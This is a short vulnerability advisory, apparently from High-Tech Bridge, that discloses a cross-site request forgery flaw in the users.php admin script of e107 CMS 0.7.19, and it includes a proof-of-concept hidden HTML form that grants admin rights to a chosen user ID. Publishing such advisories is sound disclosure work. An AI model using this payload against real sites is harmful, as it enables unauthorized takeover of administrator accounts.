e107 CMS 0.7.19 – Cross-Site Request Forgery
Vulnerability ID: HTB22344 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_e107.html Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the /e107_admin/users.php script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form method=POST action=http://host/e107_admin/users.php name=main> <input type=hidden name=userid value=2> <input type=hidden name=userip value=1.2.3.4> <input type=hidden name=useraction value=admin> </form> |